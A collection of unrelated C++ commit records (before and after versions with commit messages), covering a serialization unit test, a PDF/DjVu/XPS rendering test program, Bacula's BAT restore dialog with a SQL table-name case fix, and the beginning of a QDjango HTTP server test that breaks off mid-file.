<commit_before>#include "gtest/gtest.h" #include "serialization.hpp" TEST(SerializationUnitTest, testDecreeIsSerializableAndDeserializable) { Decree expected("an_author_1", 1, "the_decree_contents"), actual; std::string string_obj = Serialize(expected); actual = Deserialize<Decree>(string_obj); ASSERT_EQ(expected.author, actual.author); ASSERT_EQ(expected.content, actual.content); ASSERT_EQ(expected.number, actual.number); } TEST(SerializationUnitTest, testReplicaIsSerializableAndDeserializable) { Replica expected("hostname", 123), actual; std::string string_obj = Serialize(expected); actual = Deserialize<Replica>(string_obj); ASSERT_EQ(expected.hostname, actual.hostname); ASSERT_EQ(expected.port, actual.port); } TEST(SerializationUnitTest, testMessageIsSerializableAndDeserializable) { Message expected( Decree("author", 1, "the_decree_contents"), Replica("hostname-A", 111), Replica("hostname-B", 111), MessageType::PrepareMessage), actual; std::string string_obj = Serialize(expected); actual = Deserialize<Message>(string_obj); ASSERT_EQ(expected.decree.author, actual.decree.author); ASSERT_EQ(expected.decree.number, actual.decree.number); ASSERT_EQ(expected.decree.content, actual.decree.content); ASSERT_EQ(expected.from.hostname, actual.from.hostname); ASSERT_EQ(expected.from.port, actual.from.port); ASSERT_EQ(expected.to.hostname, actual.to.hostname); ASSERT_EQ(expected.to.port, actual.to.port); ASSERT_EQ(expected.type, actual.type); } <commit_msg>Add serialization padding unittest<commit_after>#include "gtest/gtest.h" #include "serialization.hpp" TEST(SerializationUnitTest, testDecreeIsSerializableAndDeserializable) { Decree expected("an_author_1", 1, "the_decree_contents"), actual; std::string string_obj = Serialize(expected); actual = Deserialize<Decree>(string_obj); ASSERT_EQ(expected.author, actual.author); ASSERT_EQ(expected.content, actual.content); ASSERT_EQ(expected.number, actual.number); } TEST(SerializationUnitTest, testReplicaIsSerializableAndDeserializable) { Replica expected("hostname", 123), actual; std::string string_obj = Serialize(expected); actual = Deserialize<Replica>(string_obj); ASSERT_EQ(expected.hostname, actual.hostname); ASSERT_EQ(expected.port, actual.port); } TEST(SerializationUnitTest, testMessageIsSerializableAndDeserializable) { Message expected( Decree("author", 1, "the_decree_contents"), Replica("hostname-A", 111), Replica("hostname-B", 111), MessageType::PrepareMessage), actual; std::string string_obj = Serialize(expected); actual = Deserialize<Message>(string_obj); ASSERT_EQ(expected.decree.author, actual.decree.author); ASSERT_EQ(expected.decree.number, actual.decree.number); ASSERT_EQ(expected.decree.content, actual.decree.content); ASSERT_EQ(expected.from.hostname, actual.from.hostname); ASSERT_EQ(expected.from.port, actual.from.port); ASSERT_EQ(expected.to.hostname, actual.to.hostname); ASSERT_EQ(expected.to.port, actual.to.port); ASSERT_EQ(expected.type, actual.type); } TEST(SerializationUnitTest, testSerializationWithPaddedFluffOnTheEndOfTheBuffer) { Decree expected("an_author_1", 1, "the_decree_contents"), actual; actual = Deserialize<Decree>( "22 serialization::archive 11 0 0 11 an_author_1 " "1 19 the_decree_contents THIS IS FLUFF!!!" ); ASSERT_EQ(expected.author, actual.author); ASSERT_EQ(expected.content, actual.content); ASSERT_EQ(expected.number, actual.number); } <|endoftext|>
<commit_before>//#include <QCoreApplication> #include "../../DesktopEditor/fontengine/ApplicationFonts.h" #include "../../PdfReader/PdfReader.h" #include "../../DjVuFile/DjVu.h" #include "../../XpsFile/XpsFile.h" #include "../../PdfWriter/PdfRenderer.h" #include "../include/HTMLRenderer3.h" #include "../include/ASCSVGWriter.h" #include "../../DesktopEditor/raster/Metafile/MetaFile.h" int main(int argc, char *argv[]) { CApplicationFonts oFonts; oFonts.Initialize(); #if 1 NSHtmlRenderer::CASCSVGWriter oWriterSVG; oWriterSVG.SetFontManager(oFonts.GenerateFontManager()); MetaFile::CMetaFile oMetafile(&oFonts); //oMetafile.LoadFromFile(L"D:\\2\\ppt\\media\\image4.wmf"); oMetafile.LoadFromFile(L"/home/oleg/activex/1/image2.wmf"); double x = 0, y = 0, w = 0, h = 0; oMetafile.GetBounds(&x, &y, &w, &h); double _max = (w >= h) ? w : h; double dKoef = 100000.0 / _max; int WW = (int)(dKoef * w + 0.5); int HH = (int)(dKoef * h + 0.5); oWriterSVG.put_Width(WW); oWriterSVG.put_Height(HH); oMetafile.DrawOnRenderer(&oWriterSVG, 0, 0, WW, HH); oWriterSVG.SaveFile(L"/home/oleg/activex/1/oleg.svg"); return 0; #endif //QCoreApplication a(argc, argv); #ifdef WIN32 //std::wstring sFile = L"\\\\KIRILLOV8\\_Office\\PDF\\Android intro(2p).pdf"; //std::wstring sFile = L"D:\\activex\\Pi(1p).pdf"; //std::wstring sFile = L"\\\\192.168.3.208\\allusers\\Files\\PDF\\AllPDF\\asia.pdf"; //std::wstring sFile = L"D:\\knut.djvu"; std::wstring sFile = L"D:\\bankomats.xps"; std::wstring sDst = L"D:\\test\\Document"; #else //std::wstring sFile = L"/home/oleg/activex/Android intro(2p).pdf"; //std::wstring sFile = L"/home/oleg/activex/Pi(1p).pdf"; std::wstring sFile = L"/home/oleg/activex/knut.djvu"; //std::wstring sFile = L"/home/oleg/activex/bankomats.xps"; std::wstring sDst = L"/home/oleg/activex/1"; #endif #if 1 CPdfRenderer oPdfW(&oFonts); oPdfW.SetTempFolder(sDst); oPdfW.OnlineWordToPdf(L"D:\\test\\123.txt", L"D:\\test\\123.pdf"); return 0; #endif #if 0 PdfReader::CPdfReader oReader(&oFonts); oReader.SetTempFolder(sDst.c_str()); #endif #if 1 CDjVuFile oReader; #endif #if 0 CXpsFile oReader(&oFonts); oReader.SetTempFolder(sDst.c_str()); #endif bool bResult = oReader.LoadFromFile(sFile.c_str()); #if 1 NSHtmlRenderer::CASCHTMLRenderer3 oHtmlRenderer; oHtmlRenderer.CreateOfficeFile(sDst); #else CPdfRenderer oHtmlRenderer(&oFonts); oHtmlRenderer.SetTempFolder(sDst); #endif int nPagesCount = oReader.GetPagesCount(); for (int i = 0; i < nPagesCount; ++i) { oHtmlRenderer.NewPage(); oHtmlRenderer.BeginCommand(c_nPageType); double dPageDpiX, dPageDpiY; double dWidth, dHeight; oReader.GetPageInfo(i, &dWidth, &dHeight, &dPageDpiX, &dPageDpiY); dWidth *= 25.4 / dPageDpiX; dHeight *= 25.4 / dPageDpiY; oHtmlRenderer.put_Width(dWidth); oHtmlRenderer.put_Height(dHeight); oReader.DrawPageOnRenderer(&oHtmlRenderer, i, NULL); oHtmlRenderer.EndCommand(c_nPageType); } #if 1 oHtmlRenderer.CloseFile(); #else oHtmlRenderer.SaveToFile(L"/home/oleg/activex/1/1.pdf"); #endif return 0; } <commit_msg>пример на все случаи жизни<commit_after>//#include <QCoreApplication> #include "../../DesktopEditor/fontengine/ApplicationFonts.h" #include "../../PdfReader/PdfReader.h" #include "../../DjVuFile/DjVu.h" #include "../../XpsFile/XpsFile.h" #include "../../PdfWriter/PdfRenderer.h" #include "../include/HTMLRenderer3.h" #include "../include/ASCSVGWriter.h" #include "../../DesktopEditor/raster/Metafile/MetaFile.h" //#define METAFILE_TEST //#define ONLINE_WORD_TO_PDF //#define TO_PDF #define TO_HTML_RENDERER #define ONLY_TEXT int main(int argc, char *argv[]) { CApplicationFonts oFonts; oFonts.Initialize(); #ifdef METAFILE_TEST NSHtmlRenderer::CASCSVGWriter oWriterSVG; oWriterSVG.SetFontManager(oFonts.GenerateFontManager()); MetaFile::CMetaFile oMetafile(&oFonts); //oMetafile.LoadFromFile(L"D:\\2\\ppt\\media\\image4.wmf"); oMetafile.LoadFromFile(L"/home/oleg/activex/1/image2.wmf"); double x = 0, y = 0, w = 0, h = 0; oMetafile.GetBounds(&x, &y, &w, &h); double _max = (w >= h) ? w : h; double dKoef = 100000.0 / _max; int WW = (int)(dKoef * w + 0.5); int HH = (int)(dKoef * h + 0.5); oWriterSVG.put_Width(WW); oWriterSVG.put_Height(HH); oMetafile.DrawOnRenderer(&oWriterSVG, 0, 0, WW, HH); oWriterSVG.SaveFile(L"/home/oleg/activex/1/oleg.svg"); return 0; #endif #ifdef ONLINE_WORD_TO_PDF CPdfRenderer oPdfW(&oFonts); oPdfW.SetTempFolder(sDst); oPdfW.OnlineWordToPdf(L"D:\\test\\123.txt", L"D:\\test\\123.pdf"); return 0; #endif //std::wstring sFile = L"\\\\KIRILLOV8\\_Office\\PDF\\Android intro(2p).pdf"; //std::wstring sFile = L"D:\\activex\\Pi(1p).pdf"; //std::wstring sFile = L"\\\\192.168.3.208\\allusers\\Files\\PDF\\AllPDF\\asia.pdf"; //std::wstring sFile = L"D:\\knut.djvu"; //std::wstring sFile = L"D:\\bankomats.xps"; //std::wstring sFile = L"\\\\kirillov8\\_Office\\DJVU\\Основы разработки приложений на платформе Microsoft .NET Framework. Учебный курс Microsoft экзамен 70-536.djvu"; //std::wstring sFile = L"D:\\TESTFILES\\Алгоритмы - построение и анализ.djvu"; std::wstring sFile = L"D:\\TESTFILES\\PDF 1-7 (756p).pdf"; std::wstring sDst = L"D:\\test\\Document"; //std::wstring sFile = L"/home/oleg/activex/Android intro(2p).pdf"; //std::wstring sFile = L"/home/oleg/activex/Pi(1p).pdf"; //std::wstring sFile = L"/home/oleg/activex/knut.djvu"; //std::wstring sFile = L"/home/oleg/activex/bankomats.xps"; //std::wstring sDst = L"/home/oleg/activex/1"; IOfficeDrawingFile* pReader = NULL; pReader = new PdfReader::CPdfReader(&oFonts); //pReader = new CDjVuFile(&oFonts); //pReader = new CXpsFile(&oFonts); pReader->SetTempDirectory(sDst); pReader->LoadFromFile(sFile); #ifdef TO_HTML_RENDERER NSHtmlRenderer::CASCHTMLRenderer3 oRenderer; #ifdef ONLY_TEXT oRenderer.SetOnlyTextMode(true); oRenderer.CreateOfficeFile(L"temp/temp"); #else oRenderer.CreateOfficeFile(sDst); #endif #else CPdfRenderer oRenderer(&oFonts); oRenderer.SetTempFolder(sDst); #endif int nPagesCount = pReader->GetPagesCount(); for (int i = 0; i < nPagesCount; ++i) { oRenderer.NewPage(); oRenderer.BeginCommand(c_nPageType); double dPageDpiX, dPageDpiY; double dWidth, dHeight; pReader->GetPageInfo(i, &dWidth, &dHeight, &dPageDpiX, &dPageDpiY); dWidth *= 25.4 / dPageDpiX; dHeight *= 25.4 / dPageDpiY; oRenderer.put_Width(dWidth); oRenderer.put_Height(dHeight); #ifdef ONLY_TEXT oRenderer.SetAdditionalParam("DisablePageEnd", L"yes"); #endif pReader->DrawPageOnRenderer(&oRenderer, i, NULL); #ifdef ONLY_TEXT oRenderer.SetAdditionalParam("DisablePageEnd", L"no"); int paragraphs = 0; int words = 0; int symbols = 0; int spaces = 0; std::string info; oRenderer.GetLastPageInfo(paragraphs, words, symbols, spaces, info); #endif oRenderer.EndCommand(c_nPageType); } #ifdef TO_HTML_RENDERER #ifndef ONLY_TEXT oRenderer.CloseFile(); #endif #else oRenderer.SaveToFile(L"/home/oleg/activex/1/1.pdf"); #endif return 0; } <|endoftext|>
<commit_before>/* Bacula® - The Network Backup Solution Copyright (C) 2007-2007 Free Software Foundation Europe e.V. The main author of Bacula is Kern Sibbald, with contributions from many others, a complete list can be found in the file AUTHORS. This program is Free Software; you can redistribute it and/or modify it under the terms of version two of the GNU General Public License as published by the Free Software Foundation plus additions that are listed in the file LICENSE. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Bacula® is a registered trademark of John Walker. The licensor of Bacula is the Free Software Foundation Europe (FSFE), Fiduciary Program, Sumatrastrasse 25, 8006 Zürich, Switzerland, email:ftf@fsfeurope.org. */ /* * Version $Id: restore.cpp 4307 2007-03-04 10:24:39Z kerns $ * * preRestore -> dialog put up to determine the restore type * * Kern Sibbald, February MMVII * */ #include "bat.h" #include "restore.h" /* Constructor to have job id list default in */ prerestorePage::prerestorePage(QString &jobIdString) { m_jobIdListIn = jobIdString; buildPage(); } /* Basic Constructor */ prerestorePage::prerestorePage() { m_jobIdListIn = ""; buildPage(); } /* * This is really the constructor */ void prerestorePage::buildPage() { m_dtformat = "yyyy-MM-dd HH:MM:ss"; m_name = "Restore"; setupUi(this); pgInitialize(); m_console->notify(false); m_closeable = true; jobCombo->addItems(m_console->job_list); filesetCombo->addItems(m_console->fileset_list); clientCombo->addItems(m_console->client_list); poolCombo->addItem("Any"); poolCombo->addItems(m_console->pool_list); storageCombo->addItems(m_console->storage_list); /* current or before . . Start out with current checked */ recentCheckBox->setCheckState(Qt::Checked); beforeDateTime->setDisplayFormat(m_dtformat); beforeDateTime->setDateTime(QDateTime::currentDateTime()); beforeDateTime->setEnabled(false); selectFilesRadio->setChecked(true); if (m_jobIdListIn == "") { selectJobsRadio->setChecked(true); jobIdEdit->setText("Comma separted list of jobs id's"); jobIdEdit->setEnabled(false); } else { listJobsRadio->setChecked(true); jobIdEdit->setText(m_jobIdListIn); jobsRadioClicked(false); QStringList fieldlist; jobdefsFromJob(fieldlist,m_jobIdListIn); filesetCombo->setCurrentIndex(filesetCombo->findText(fieldlist[2], Qt::MatchExactly)); clientCombo->setCurrentIndex(clientCombo->findText(fieldlist[1], Qt::MatchExactly)); jobCombo->setCurrentIndex(jobCombo->findText(fieldlist[0], Qt::MatchExactly)); } job_name_change(0); connect(jobCombo, SIGNAL(currentIndexChanged(int)), this, SLOT(job_name_change(int))); connect(okButton, SIGNAL(pressed()), this, SLOT(okButtonPushed())); connect(cancelButton, SIGNAL(pressed()), this, SLOT(cancelButtonPushed())); connect(recentCheckBox, SIGNAL(stateChanged(int)), this, SLOT(recentChanged(int))); connect(selectJobsRadio, SIGNAL(toggled(bool)), this, SLOT(jobsRadioClicked(bool))); connect(jobIdEdit, SIGNAL(editingFinished()), this, SLOT(jobIdEditFinished())); dockPage(); setCurrent(); this->show(); } /* * Check to make sure all is ok then start either the select window or the restore * run window */ void prerestorePage::okButtonPushed() { if (!selectJobsRadio->isChecked()) { if (!checkJobIdList()) return; } QString cmd; this->hide(); cmd = QString("restore "); if (selectFilesRadio->isChecked()) { cmd += "select "; } else { cmd += "all done "; } cmd += "fileset=\"" + filesetCombo->currentText() + "\" "; cmd += "client=\"" + clientCombo->currentText() + "\" "; if (selectJobsRadio->isChecked()) { if (poolCombo->currentText() != "Any" ){ cmd += "pool=\"" + poolCombo->currentText() + "\" "; } cmd += "storage=\"" + storageCombo->currentText() + "\" "; if (recentCheckBox->checkState() == Qt::Checked) { cmd += " current"; } else { QDateTime stamp = beforeDateTime->dateTime(); QString before = stamp.toString(m_dtformat); cmd += " before=\"" + before + "\""; } } else { cmd += "jobid=\"" + jobIdEdit->text() + "\""; } /* ***FIXME*** */ //printf("preRestore command \'%s\'\n", cmd.toUtf8().data()); consoleCommand(cmd); /* Note, do not turn notifier back on here ... */ if (selectFilesRadio->isChecked()) { setConsoleCurrent(); new restorePage(); closeStackPage(); } else { m_console->notify(true); closeStackPage(); mainWin->resetFocus(); } } /* * Destroy the instace of the class */ void prerestorePage::cancelButtonPushed() { mainWin->set_status("Canceled"); this->hide(); m_console->notify(true); closeStackPage(); } /* * Handle updating the other widget with job defaults when the job combo is changed. */ void prerestorePage::job_name_change(int index) { job_defaults job_defs; (void)index; job_defs.job_name = jobCombo->currentText(); if (m_console->get_job_defaults(job_defs)) { filesetCombo->setCurrentIndex(filesetCombo->findText(job_defs.fileset_name, Qt::MatchExactly)); clientCombo->setCurrentIndex(clientCombo->findText(job_defs.client_name, Qt::MatchExactly)); poolCombo->setCurrentIndex(poolCombo->findText(job_defs.pool_name, Qt::MatchExactly)); storageCombo->setCurrentIndex(storageCombo->findText(job_defs.store_name, Qt::MatchExactly)); } } /* * Handle the change of enabled of input widgets when the recent checkbox state * is changed. */ void prerestorePage::recentChanged(int state) { if ((state == Qt::Unchecked) && (selectJobsRadio->isChecked())) { beforeDateTime->setEnabled(true); } else { beforeDateTime->setEnabled(false); } } /* * Handle the change of enabled of input widgets when the job radio buttons * are changed. */ void prerestorePage::jobsRadioClicked(bool checked) { if (checked) { jobCombo->setEnabled(true); filesetCombo->setEnabled(true); clientCombo->setEnabled(true); poolCombo->setEnabled(true); storageCombo->setEnabled(true); recentCheckBox->setEnabled(true); if (!recentCheckBox->isChecked()) { beforeDateTime->setEnabled(true); } jobIdEdit->setEnabled(false); } else { jobCombo->setEnabled(false); filesetCombo->setEnabled(false); clientCombo->setEnabled(false); poolCombo->setEnabled(false); storageCombo->setEnabled(false); recentCheckBox->setEnabled(false); beforeDateTime->setEnabled(false); jobIdEdit->setEnabled(true); } } /* * For when jobs list is to be used, return a list which is the needed items from * the job record */ void prerestorePage::jobdefsFromJob(QStringList &fieldlist, QString jobId) { QString job, client, fileset; QString query(""); query = "SELECT DISTINCT Job.Name AS JobName, Client.Name AS Client, Fileset.Fileset AS Fileset " " From Job, Client, Fileset" " WHERE Job.FilesetId=FileSet.FilesetId AND Job.ClientId=Client.ClientId" " AND JobId=\'" + jobId + "\'"; //printf("query = %s\n", query.toUtf8().data()); QStringList results; if (m_console->sql_cmd(query, results)) { QString field; /* Iterate through the lines of results, there should only be one. */ foreach (QString resultline, results) { fieldlist = resultline.split("\t"); } /* foreach resultline */ } /* if results from query */ } /* * Function to handle when the jobidlist line edit input loses focus or is entered */ void prerestorePage::jobIdEditFinished() { checkJobIdList(); } bool prerestorePage::checkJobIdList() { /* Need to check and make sure the text is a comma separated list of integers */ QString line = jobIdEdit->text(); if (line.contains(" ")) { QMessageBox::warning(this, tr("Bat"), tr("There can be no spaces in the text for the joblist.\n" "Press OK to continue?"), QMessageBox::Ok ); return false; } //printf("In prerestorePage::jobIdEditFinished %s\n",line.toUtf8().data()); QStringList joblist = line.split(",", QString::SkipEmptyParts); bool allintokay = true, alljobok = true, allisjob = true; QString jobName(""), clientName(""); foreach (QString job, joblist) { bool intok; job.toInt(&intok, 10); if (intok) { /* are the intergers representing a list of jobs all with the same job * and client */ QStringList fields; jobdefsFromJob(fields, job); int count = fields.count(); if (count > 0) { if (jobName == "") jobName = fields[0]; else if (jobName != fields[0]) alljobok = false; if (clientName == "") clientName = fields[1]; else if (clientName != fields[1]) alljobok = false; } else { allisjob = false; } } else { allintokay = false; } } if (!allintokay){ QMessageBox::warning(this, tr("Bat"), tr("The string is not a comma separated list if integers.\n" "Press OK to continue?"), QMessageBox::Ok ); return false; } if (!allisjob){ QMessageBox::warning(this, tr("Bat"), tr("At least one of the jobs is not a valid job.\n" "Press OK to continue?"), QMessageBox::Ok ); return false; } if (!alljobok){ QMessageBox::warning(this, tr("Bat"), tr("All jobs in the list must be of the same jobName and same client.\n" "Press OK to continue?"), QMessageBox::Ok ); return false; } return true; } <commit_msg>Fix of case from Fileset to FileSet for compatibility with mysql.<commit_after>/* Bacula® - The Network Backup Solution Copyright (C) 2007-2007 Free Software Foundation Europe e.V. The main author of Bacula is Kern Sibbald, with contributions from many others, a complete list can be found in the file AUTHORS. This program is Free Software; you can redistribute it and/or modify it under the terms of version two of the GNU General Public License as published by the Free Software Foundation plus additions that are listed in the file LICENSE. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Bacula® is a registered trademark of John Walker. The licensor of Bacula is the Free Software Foundation Europe (FSFE), Fiduciary Program, Sumatrastrasse 25, 8006 Zürich, Switzerland, email:ftf@fsfeurope.org. */ /* * Version $Id: restore.cpp 4307 2007-03-04 10:24:39Z kerns $ * * preRestore -> dialog put up to determine the restore type * * Kern Sibbald, February MMVII * */ #include "bat.h" #include "restore.h" /* Constructor to have job id list default in */ prerestorePage::prerestorePage(QString &jobIdString) { m_jobIdListIn = jobIdString; buildPage(); } /* Basic Constructor */ prerestorePage::prerestorePage() { m_jobIdListIn = ""; buildPage(); } /* * This is really the constructor */ void prerestorePage::buildPage() { m_dtformat = "yyyy-MM-dd HH:MM:ss"; m_name = "Restore"; setupUi(this); pgInitialize(); m_console->notify(false); m_closeable = true; jobCombo->addItems(m_console->job_list); filesetCombo->addItems(m_console->fileset_list); clientCombo->addItems(m_console->client_list); poolCombo->addItem("Any"); poolCombo->addItems(m_console->pool_list); storageCombo->addItems(m_console->storage_list); /* current or before . . Start out with current checked */ recentCheckBox->setCheckState(Qt::Checked); beforeDateTime->setDisplayFormat(m_dtformat); beforeDateTime->setDateTime(QDateTime::currentDateTime()); beforeDateTime->setEnabled(false); selectFilesRadio->setChecked(true); if (m_jobIdListIn == "") { selectJobsRadio->setChecked(true); jobIdEdit->setText("Comma separted list of jobs id's"); jobIdEdit->setEnabled(false); } else { listJobsRadio->setChecked(true); jobIdEdit->setText(m_jobIdListIn); jobsRadioClicked(false); QStringList fieldlist; jobdefsFromJob(fieldlist,m_jobIdListIn); filesetCombo->setCurrentIndex(filesetCombo->findText(fieldlist[2], Qt::MatchExactly)); clientCombo->setCurrentIndex(clientCombo->findText(fieldlist[1], Qt::MatchExactly)); jobCombo->setCurrentIndex(jobCombo->findText(fieldlist[0], Qt::MatchExactly)); } job_name_change(0); connect(jobCombo, SIGNAL(currentIndexChanged(int)), this, SLOT(job_name_change(int))); connect(okButton, SIGNAL(pressed()), this, SLOT(okButtonPushed())); connect(cancelButton, SIGNAL(pressed()), this, SLOT(cancelButtonPushed())); connect(recentCheckBox, SIGNAL(stateChanged(int)), this, SLOT(recentChanged(int))); connect(selectJobsRadio, SIGNAL(toggled(bool)), this, SLOT(jobsRadioClicked(bool))); connect(jobIdEdit, SIGNAL(editingFinished()), this, SLOT(jobIdEditFinished())); dockPage(); setCurrent(); this->show(); } /* * Check to make sure all is ok then start either the select window or the restore * run window */ void prerestorePage::okButtonPushed() { if (!selectJobsRadio->isChecked()) { if (!checkJobIdList()) return; } QString cmd; this->hide(); cmd = QString("restore "); if (selectFilesRadio->isChecked()) { cmd += "select "; } else { cmd += "all done "; } cmd += "fileset=\"" + filesetCombo->currentText() + "\" "; cmd += "client=\"" + clientCombo->currentText() + "\" "; if (selectJobsRadio->isChecked()) { if (poolCombo->currentText() != "Any" ){ cmd += "pool=\"" + poolCombo->currentText() + "\" "; } cmd += "storage=\"" + storageCombo->currentText() + "\" "; if (recentCheckBox->checkState() == Qt::Checked) { cmd += " current"; } else { QDateTime stamp = beforeDateTime->dateTime(); QString before = stamp.toString(m_dtformat); cmd += " before=\"" + before + "\""; } } else { cmd += "jobid=\"" + jobIdEdit->text() + "\""; } /* ***FIXME*** */ //printf("preRestore command \'%s\'\n", cmd.toUtf8().data()); consoleCommand(cmd); /* Note, do not turn notifier back on here ... */ if (selectFilesRadio->isChecked()) { setConsoleCurrent(); new restorePage(); closeStackPage(); } else { m_console->notify(true); closeStackPage(); mainWin->resetFocus(); } } /* * Destroy the instace of the class */ void prerestorePage::cancelButtonPushed() { mainWin->set_status("Canceled"); this->hide(); m_console->notify(true); closeStackPage(); } /* * Handle updating the other widget with job defaults when the job combo is changed. */ void prerestorePage::job_name_change(int index) { job_defaults job_defs; (void)index; job_defs.job_name = jobCombo->currentText(); if (m_console->get_job_defaults(job_defs)) { filesetCombo->setCurrentIndex(filesetCombo->findText(job_defs.fileset_name, Qt::MatchExactly)); clientCombo->setCurrentIndex(clientCombo->findText(job_defs.client_name, Qt::MatchExactly)); poolCombo->setCurrentIndex(poolCombo->findText(job_defs.pool_name, Qt::MatchExactly)); storageCombo->setCurrentIndex(storageCombo->findText(job_defs.store_name, Qt::MatchExactly)); } } /* * Handle the change of enabled of input widgets when the recent checkbox state * is changed. */ void prerestorePage::recentChanged(int state) { if ((state == Qt::Unchecked) && (selectJobsRadio->isChecked())) { beforeDateTime->setEnabled(true); } else { beforeDateTime->setEnabled(false); } } /* * Handle the change of enabled of input widgets when the job radio buttons * are changed. */ void prerestorePage::jobsRadioClicked(bool checked) { if (checked) { jobCombo->setEnabled(true); filesetCombo->setEnabled(true); clientCombo->setEnabled(true); poolCombo->setEnabled(true); storageCombo->setEnabled(true); recentCheckBox->setEnabled(true); if (!recentCheckBox->isChecked()) { beforeDateTime->setEnabled(true); } jobIdEdit->setEnabled(false); } else { jobCombo->setEnabled(false); filesetCombo->setEnabled(false); clientCombo->setEnabled(false); poolCombo->setEnabled(false); storageCombo->setEnabled(false); recentCheckBox->setEnabled(false); beforeDateTime->setEnabled(false); jobIdEdit->setEnabled(true); } } /* * For when jobs list is to be used, return a list which is the needed items from * the job record */ void prerestorePage::jobdefsFromJob(QStringList &fieldlist, QString jobId) { QString job, client, fileset; QString query(""); query = "SELECT DISTINCT Job.Name AS JobName, Client.Name AS Client, FileSet.FileSet AS FileSet " " From Job, Client, FileSet" " WHERE Job.FileSetId=FileSet.FileSetId AND Job.ClientId=Client.ClientId" " AND JobId=\'" + jobId + "\'"; printf("query = %s\n", query.toUtf8().data()); QStringList results; if (m_console->sql_cmd(query, results)) { QString field; /* Iterate through the lines of results, there should only be one. */ foreach (QString resultline, results) { fieldlist = resultline.split("\t"); } /* foreach resultline */ } /* if results from query */ } /* * Function to handle when the jobidlist line edit input loses focus or is entered */ void prerestorePage::jobIdEditFinished() { checkJobIdList(); } bool prerestorePage::checkJobIdList() { /* Need to check and make sure the text is a comma separated list of integers */ QString line = jobIdEdit->text(); if (line.contains(" ")) { QMessageBox::warning(this, tr("Bat"), tr("There can be no spaces in the text for the joblist.\n" "Press OK to continue?"), QMessageBox::Ok ); return false; } //printf("In prerestorePage::jobIdEditFinished %s\n",line.toUtf8().data()); QStringList joblist = line.split(",", QString::SkipEmptyParts); bool allintokay = true, alljobok = true, allisjob = true; QString jobName(""), clientName(""); foreach (QString job, joblist) { bool intok; job.toInt(&intok, 10); if (intok) { /* are the intergers representing a list of jobs all with the same job * and client */ QStringList fields; jobdefsFromJob(fields, job); int count = fields.count(); if (count > 0) { if (jobName == "") jobName = fields[0]; else if (jobName != fields[0]) alljobok = false; if (clientName == "") clientName = fields[1]; else if (clientName != fields[1]) alljobok = false; } else { allisjob = false; } } else { allintokay = false; } } if (!allintokay){ QMessageBox::warning(this, tr("Bat"), tr("The string is not a comma separated list if integers.\n" "Press OK to continue?"), QMessageBox::Ok ); return false; } if (!allisjob){ QMessageBox::warning(this, tr("Bat"), tr("At least one of the jobs is not a valid job.\n" "Press OK to continue?"), QMessageBox::Ok ); return false; } if (!alljobok){ QMessageBox::warning(this, tr("Bat"), tr("All jobs in the list must be of the same jobName and same client.\n" "Press OK to continue?"), QMessageBox::Ok ); return false; } return true; } <|endoftext|>
<commit_before>/* * Copyright (C) 2010-2014 Jeremy Lainé * Contact: https://github.com/jlaine/qdjango * * This file is part of the QDjango Library. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. */ #include <QNetworkAccessManager> #include <QNetworkReply> #include <QNetworkRequest> #include <QtTest> #include <QUrl> #include "QDjangoHttpController.h" #include "QDjangoHttpRequest.h" #include "QDjangoHttpResponse.h" #include "QDjangoHttpServer.h" #include "QDjangoUrlResolver.h" /** Test QDjangoHttpServer class. */ class tst_QDjangoHttpServer : public QObject { Q_OBJECT private slots: void cleanupTestCase(); void initTestCase(); void testGet_data(); void testGet(); void testPost_data(); void testPost(); QDjangoHttpResponse* _q_index(const QDjangoHttpRequest &request); QDjangoHttpResponse* _q_error(const QDjangoHttpRequest &request); private: QDjangoHttpServer *httpServer; }; void tst_QDjangoHttpServer::cleanupTestCase() { delete httpServer; } void tst_QDjangoHttpServer::initTestCase() { httpServer = new QDjangoHttpServer; httpServer->urls()->set(QRegExp(QLatin1String(QLatin1String("^$"))), this, "_q_index"); httpServer->urls()->set(QRegExp(QLatin1String("^internal-server-error$")), this, "_q_error"); QCOMPARE(httpServer->listen(QHostAddress::LocalHost, 8123), true); } void tst_QDjangoHttpServer::testGet_data() { QTest::addColumn<QString>("path"); QTest::addColumn<int>("err"); QTest::addColumn<QByteArray>("body"); const QString errorTemplate = QLatin1String( "<html>" "<head><title>Error</title></head>" "<body><p>%1</p></body>" "</html>"); QTest::newRow("root") << "/" << int(QNetworkReply::NoError) << QByteArray("method=GET|path=/"); QTest::newRow("query-string") << "/?message=bar" << int(QNetworkReply::NoError) << QByteArray("method=GET|path=/|get=bar"); QTest::newRow("not-found") << "/not-found" << int(QNetworkReply::ContentNotFoundError) << errorTemplate.arg(QLatin1String("The document you requested was not found.")).toUtf8(); QTest::newRow("internal-server-error") << "/internal-server-error" << int(QNetworkReply::UnknownContentError) << errorTemplate.arg(QLatin1String("An internal server error was encountered.")).toUtf8(); } void tst_QDjangoHttpServer::testGet() { QFETCH(QString, path); QFETCH(int, err); QFETCH(QByteArray, body); QNetworkAccessManager network; QNetworkReply *reply = network.get(QNetworkRequest(QUrl(QLatin1String("http://127.0.0.1:8123") + path))); QEventLoop loop; QObject::connect(reply, SIGNAL(finished()), &loop, SLOT(quit())); loop.exec(); QVERIFY(reply); QCOMPARE(int(reply->error()), err); QCOMPARE(reply->readAll(), body); delete reply; } void tst_QDjangoHttpServer::testPost_data() { QTest::addColumn<QString>("path"); QTest::addColumn<QByteArray>("data"); QTest::addColumn<int>("err"); QTest::addColumn<QByteArray>("body"); QTest::newRow("empty") << "/" << QByteArray() << int(QNetworkReply::NoError) << QByteArray("method=POST|path=/"); QTest::newRow("simple") << "/" << QByteArray("message=bar") << int(QNetworkReply::NoError) << QByteArray("method=POST|path=/|post=bar"); QTest::newRow("multi") << 